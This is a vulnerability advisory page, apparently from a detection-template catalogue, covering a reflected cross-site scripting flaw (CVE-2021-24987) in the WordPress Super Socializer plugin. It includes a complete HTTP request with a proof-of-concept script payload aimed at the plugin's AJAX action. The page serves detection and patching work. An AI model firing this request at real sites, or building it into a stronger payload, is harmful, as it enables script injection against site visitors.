🔙 목록으로 돌아가기

CVE-2021-24987: WordPress Super Socializer <7.13.30 - Cross-Site Scripting

TitleWordPress Super Socializer <7.13.30 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of the WordPress Super Socializer plugin (7.13.30 or higher) to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.06052
CVE IDCVE-2021-24987
CWE IDCWE-79
Tags cve2021 cve wpscan xss wp wp-plugin wordpress heateor vuln

🔍 Vulnerability Description

WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24987.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24987.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A